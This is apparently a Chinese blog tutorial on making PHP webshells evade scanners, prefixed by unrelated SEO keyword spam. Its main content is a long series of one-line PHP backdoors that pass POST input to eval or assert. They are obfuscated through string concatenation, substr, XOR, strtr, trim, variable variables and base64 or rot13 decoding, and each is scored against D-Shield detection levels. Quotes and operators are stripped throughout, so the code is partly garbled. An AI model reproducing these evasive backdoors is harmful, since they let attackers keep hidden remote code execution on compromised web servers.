宁波市镇海建设交通局网站,seo交流群,微山建设局网站,互联网营销师证webshell 查杀软件#xff1a;
d盾、安全狗、护卫神、Sangfor WebShellKill 在线查杀 百度WEBDIR https://scanner.baidu.com 河马 https://www.shellpub.com cloudwalker牧云 https://webshellchop.chaitin.cn 查杀技术
静态检测、动态检测、日志检查
静态检查#xff1a…webshell 查杀软件
d盾、安全狗、护卫神、Sangfor WebShellKill 在线查杀 百度WEBDIR https://scanner.baidu.com 河马 https://www.shellpub.com cloudwalker牧云 https://webshellchop.chaitin.cn 查杀技术
静态检测、动态检测、日志检查
静态检查匹配特征码、危险函数、木马特征值。优点方便快捷对已知木马特征查找准确率高缺点是误报率高0day型木马无法查找。动态检测通过木马程序的动态特征来检测当程序执行时表现出的特征即为动态特征。日志检测通过分析大量日志文件并建立请求模型检测异常文件。 优点为当网站上的访问量级达到一致值时这种检测方法具有比较大参考性价值。缺点则是存在一定误报率对于大量的日志文件检测工具的处理能力和效率都会变的比较低。 webshell免杀
免杀则是通过灵活运用编程语言的不同特征以及提供的参数重构木马来躲避查杀工具的查杀。还有通过加解密技术对木马程序进行加解密处理。 普通一句话木马
?php eval($_POST[a]);?
?php assert($_POST[a]);?
直接使用eval是3级使用 assert 是5级 ——————
在蚁剑连接中仅使用assert的payload不可连接
原因有两个一是因为蚁剑用来探测的语句由多句PHP代码构成但assert只能执行第一句PHP代码二是因为探测的语句使用了echo而assert无法执行关于echo的代码。
看到分析文章
关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com) PHP版本7 时assert 函数进行了更新 无法将使用字符串作为参数而传入GET或POST的数据默认的类型就是字符串这就导致了assert不适宜再用来直接写马。
不过下面的webshell 还是在php5环境下以 assert 函数进行测试。
—————— 因为还在学习阶段对于这些姿势可能不能对查杀工具完全免杀但是也能降低危险级别。
主旨在学习大佬们已经用过的各种绕过姿势。达到免杀初步入门。 免杀绕过姿势 字符串变形
对字符串各种拼接转换十分灵活方法各式各样。易拓展。 这里先直接对 assert 每个字符串进行拼接。
?php
$x a.s.s.e.r.t;
$x($_POST[a])
?
查杀结果还是 5 级拼接的 assert 能正常检测 substr() 函数
使用 substr() 函数截断
?php
$x substr(21a,2).s.s.e.r.t;
$x($_POST[a])
?
再次D盾检测新版级别变为了 3 旧版级别为 4 ————————
异或
?php
$x (!^).s.s.e.r.t;
$x($_POST[a])
?
新版D盾为已知后门旧版级别为 3 ————————
传参拼接
一般情况只需传入一个参数是要执行的命令。
这里再增加一个传参作为 assert 的拆解部分。
?php
$aass;
$b$a.$_POST[a2];
$x $_POST[a1];
$b($x);
?
利用post以下数据
a2erta1phpinfo()
新版D盾查杀等级为 3 旧版为 2 strtr() 函数
对替换字符被替换的xjdm 必须和替换成的 sser 是相同长度。
?php
$x strtr(axjdmt,xjdm,sser);
$x($_POST[a]);
?
旧版D盾级别为 1 基本算绕过。新版为已知后门 substr_replace()函数
绕过旧版新版为已知后门
?php
$x substr_replace(ajdmkh,ssert,1);
$x($_POST[a]);
?
稍微变化一下
新版旧版级别都为 3
?php
$x substr_replace(ajdmk,sser,1).t;
$x($_POST[a]);
? substr_replace()函数和strtr() 函数都是已知后门那如果组合一下。
新版仍为前面的 3 级旧版为 1
?php
$x strtr(aghn,ghn,sse).substr_replace(rx,t,1);
$x($_POST[a]);
?
trim()函数
规定从字符串中删除哪些字符。如果不选第二个参数则移除以下所有字符 \0 - NULL; \t - 制表符\n - 换行\x0B - 垂直制表符\r - 回车空格
?php
$x trim(/assert/,/);
$x($_POST[a]);
?
D盾查杀级别为 1 如果是这样让trim()函数删除空格查杀等级还是为 4 级。
$x trim( assert ); ———————————— 自定义函数
?php
function test($a){$a($_POST[a]);
}test(assert);
?
新版D盾和旧版扫描结果级别都为 2 —————————— 前面都是对 assert 字符串进行操作下面对 $_POST[a] 进行操作。包括结合前面的同时对 assert 和 $_POST[a] 处理的结果。 ——————————
反引号
?php
$a$_POST[a];
$xassert;
$x(/***123***/.$a);
?
新版D盾结果级别为 4旧版为 2 结合前面的 substr()函数
查杀等级新版D盾变为1旧版变为2
?php
$a$_POST[a];
$xsubstr(1a,1).ssert;
$x(/***123***/.$a);
?
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
?php
$a$_POST[a];
$x(!^).ssert;
$x(/***123***/.$a);
?
—————————— 变量覆盖
使用$$覆盖变量这里对字符串 $_POST[a] 进行操作
?php
$xa.s.s.e.r.t;
$b_.P.O.S.T;
$c$$b;
$x($c[a]);
?
此时级别为 2 对 assert 结合前面的 substr()函数。
?php
$xsubstr(1a,1).s.s.e.r.t;
$b_.P.O.S.T;
$c$$b;
$x($c[a]);
?
查杀等级新版D盾变为1旧版变为2 对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
?php
$x(!^).s.s.e.r.t;
$b_.P.O.S.T;
$c$$b;
$x($c[a]);
?
trim()函数结合变量覆盖
D盾等级为2
?php
$a ttt;
$$atrim(/assert/,/);
$f hello;
$$f $_POST[a];
$ttt($hello)
?
—————————— base64参数编码
?php
$x assert;
$abase64_decode($_POST[a]);
$x($a)
?
利用 acGhwaW5mbygp 这里效果不免杀 结合substr()函数
新版D盾查杀结果级别为 1旧版为 4
?php
$x substr(1a,1).ssert;
$abase64_decode($_POST[a]);
$x($a)
?
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
?php
$x (!^).ssert;
$abase64_decode($_POST[a]);
$x($a)
?
———————— rot13参数编码
和前面 base64编码效果是一样的
?php
$x assert;
$astr_rot13($_POST[a]);
$x($a)
?acucvasb()
结合substr()函数
新版D盾查杀结果级别为 1旧版为 4
?php
$x substr(1a,1).ssert;
$astr_rot13($_POST[a]);
$x($a)
?
对assert 结合前面的 异或。
新旧版D盾查杀结果皆为1
?php
$x (!^).ssert;
$astr_rot13($_POST[a]);
$x($a)
? ————————
还有很多姿势可以利用与开发。
比如数组一维、二维、多维的利用。
还有各种回调函数的利用比如回调函数 array_map()